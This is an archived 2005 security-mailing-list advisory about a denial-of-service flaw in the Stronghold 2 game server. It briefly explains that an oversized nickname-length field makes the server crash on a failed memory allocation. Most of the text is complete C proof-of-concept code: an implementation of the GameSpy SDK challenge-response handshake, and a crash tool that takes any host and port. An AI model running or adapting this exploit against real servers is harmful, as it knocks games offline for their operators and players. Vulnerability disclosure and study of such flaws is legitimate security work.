Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NT] Stronghold DoS

Subject: [NT] Stronghold DoS
Date: 31 May 2005 17:41:41 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Stronghold DoS
------------------------------------------------------------------------


SUMMARY

 <http://www.stronghold2.com> Stronghold 2 is "a strategic game developed 
by Firefly Studios and published by 2K Games. It has been released in 
April 2005".

Stronghold 2 server can be caused to crash by sending it a malformed 
nickname.

DETAILS

Vulnerable Systems:
 * Stronghold2 version 1.2 and prior.

In the packet used for joining the server is locatd the client's nickname 
preceded by a 32 bit number used to specify its size. When the server 
receives the packet it reads this number and allocates that amount of 
memory where, then, will be copied the nickname. The problem is that the 
STLport library fails to allocate a too big amount of memory and generates 
an exception that terminates the game.

Proof of concept:
gssdkcr.h:
/*

GS SDK challenge-response algorithm 0.1
by Luigi Auriemma
e-mail: aluigi@autistici.org
web:    http://aluigi.altervista.org


INTRODUCTION
 ============
This algorithm is referred to the challenge-response method used by some
of the games that use the Gamespy SDK like Halo and Soldier of Anarchy.
This handshake is used to let valid client to join the game servers, in
fact if clients answer with a wrong response they are immediately kicked.
If we get Halo as practical example we can see that we have the
following 3 packets easily visible using a packet analyzer:
- client -> server: client challenge (a text string of 32 chars)
- server -> client: response to the client's challenge plus the
                    server's challenge
- client -> server: response calculated on the server's challenge


HOW TO USE
 ==========
The function gssdkcr() requires the following parameters:
- the destination buffer that will contain the resulted string.
  It must be 33 bytes long (32 plus the final NULL byte).
- the "challenge" string (sent by the server or by the client).
- the buffer containing the game's text string used for the calculation
  of the response.
  By default the Gamespy SDK uses 3b8dd8995f7c40a9a5c5b7dd5b481341 but
  some games might use different values like Soldier of Anarchy that
  uses 0AB3F935936211D19A2B080000300512 (the CLSID of the game).
  However if the value is NULL, will be used the default value.

The return value is a pointer to the destination string.

EXAMPLE
 =======
In Halo for example we must use:
  char  resp[33],
        chall[] = ")nTu4y&t,Cr{P5j{6k<]^E@-ToF#Kg>m";
  gssdkcr(resp, chall, 0);

while in Soldier of Anarchy we must change this one:
  gssdkcr(resp, chall, "0AB3F935936211D19A2B080000300512");

LICENSE
 =======
    Copyright 2004 Luigi Auriemma

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 
USA

    http://www.gnu.org/licenses/gpl.txt

*/

#include <time.h>

unsigned char *gssdkcr(
  unsigned char *dst,
  unsigned char *src,
  unsigned char *key) {

    unsigned int    oz,
                    i,
                    keysz,
                    count,
                    old,
                    tmp,
                    randnum;
    unsigned char   *ptr;
    const static char
                    key_default[] =
                    "3b8dd8995f7c40a9a5c5b7dd5b481341";

    randnum = time(NULL);   // something random
    if(!key) key = (unsigned char *)key_default;
    keysz = strlen(key);

    ptr = src;
    old = *ptr;
    tmp = old < 0x4f;
    count = 0;
    for(oz = i = 1; i < 32; i++) {
        count ^= ((((*ptr < old) ^ ((old ^ i) & 1)) ^ (*ptr & 1)) ^ tmp);
        ptr++;
        if(count) {
            if(!(*ptr & 1)) { oz = 0; break; }
        } else {
            if(*ptr & 1) { oz = 0; break; }
        }
    }

    ptr = dst;
    for(i = 0; i < 32; i++, ptr++) {
        if(!oz || !i || (i == 13)) {
            randnum = (randnum * 0x343FD) + 0x269EC3;
            *ptr = (((randnum >> 16) & 0x7fff) % 93) + 33;
            continue;
        } else if((i == 1) || (i == 14)) {
            old = src[i];
        } else {
            old = src[i - 1];
        }
        tmp = (old * i) * 17991;
        old = src[(key[(src[i] + i) % keysz] + (src[i] * i)) & 31];
        *ptr = ((old ^ key[tmp % keysz]) % 93) + 33;
    }
    *ptr = 0x00;

    return(dst);
}


strong2boom.c:
/*

by Luigi Auriemma - http://aluigi.altervista.org/poc/strong2boom.zip

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "gssdkcr.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif

#define VER         "0.1"
#define BUFFSZ      8192
#define PORT        19966
#define TIMEOUT     1
#define TWAIT       10
#define BOOMSZ      0xffffffff  // impossible to allocate

#define ADDSHORT(x) *(u_short *)p = x; \
                    p += 2;
#define ADDINT(x)   *(u_int *)p = x; \
                    p += 4;
#define SEND(x,y)   if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, 
sizeof(peer)) \
                      < 0) std_err();
#define RECV(x,y)   len = recvfrom(sd, x, y, 0, NULL, NULL); \
                    if(len < 0) std_err();
#define SOCKTOUT    if(len < 0) { \
                        fputs("\nError: socket timeout, no reply 
received\n\n", stdout); \
                        exit(1); \
                    }

int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz);
void show_info(u_char *data, int len);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);

struct  sockaddr_in peer;

int main(int argc, char *argv[]) {
    u_int   seed;
    int     sd,
            len;
    u_short port = PORT;
    u_char  buff[BUFFSZ + 1],
            info[] =
                "\xfe\xfd" "\x00" "\x00\x00\x00\x00" "\xff\x00\x00",
            *psdk,
            *p;

#pragma pack(1) // a basic header (only sign and type remain the same)
    struct gssdk_header {
        u_short sign;
        u_char  type;
        u_short gs1;
        u_short gs2;
    } *gh;
#pragma pack()

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif


    setbuf(stdout, NULL);

    fputs("\n"
        "Stronghold 2 <= 1.2 server crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web:    http://aluigi.altervista.org\n";
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- request informations:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    *(u_int *)(info + 3) = ~time(NULL);
    len = send_recv(sd, info, sizeof(info) - 1, buff, BUFFSZ);
    close(sd);
    SOCKTOUT;

    buff[len] = 0x00;
    show_info(buff, len);

    gh = (struct gssdk_header *)buff;
    psdk = buff + 7;
    seed = time(NULL);

    fputs("\n- start attack:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    gh->sign = htons(0xfefe);
    gh->type = 1;
    gh->gs1  = htons(0);
    gh->gs2  = htons(0);
    memset(psdk, '0', 32);
    gssdkcr(psdk, psdk, 0);

    len = send_recv(sd, buff, 39, buff, BUFFSZ);
    SOCKTOUT;
    buff[len] = 0x00;
    if((gh->type != 2) || (ntohs(gh->gs1) != 0) || (ntohs(gh->gs2) != 1)) 
{
        fputs("  the first packet doesn't seem to have been accepted, I 
continue\n", stdout);
    }

    gh->sign = htons(0xfefe);
    gh->type = 3;
    gh->gs1  = htons(1);
    gh->gs2  = htons(1);
    gssdkcr(psdk, buff + 39, 0);
    p = psdk + 32;

    ADDINT(BOOMSZ); // nickname size, it's all we need

    len = send_recv(sd, buff, p - buff, buff, BUFFSZ);
    while(len > 0) {
        if((gh->type == 4) || (gh->type == 5)) break;
        if(timeout(sd) < 0) break;
        RECV(buff, BUFFSZ);
    }
    close(sd);

    fputs("- check server:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    *(u_int *)(info + 3) = ~time(NULL);
    SEND(info, sizeof(info));
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }
    close(sd);
    return(0);
}



int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz) {
    int     i,
            len;

    for(i = 3; i; i--) {
        SEND(in, insz);
        if(!timeout(sd)) break;
    }
    if(!i) return(-1);

    RECV(out, outsz);
    return(len);
}

void show_info(u_char *data, int len) {
    int     nt = 0,
            d;
    u_char  *limit = data + len;

    for(data += 5; data < limit; data += d + 1, nt++) {
        d = strlen(data);
        if(nt & 1) {
            printf("%s\n", data);
        } else {
            if(!d) break;
            printf("%30s: ", data);
        }
    }
}

int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_int resolv(char *host) {
    struct hostent *hp;
    u_int host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)hp->h_addr;
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:  <http://aluigi.altervista.org> 
http://aluigi.altervista.org



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NT] Stronghold DoS, SecuriTeam <=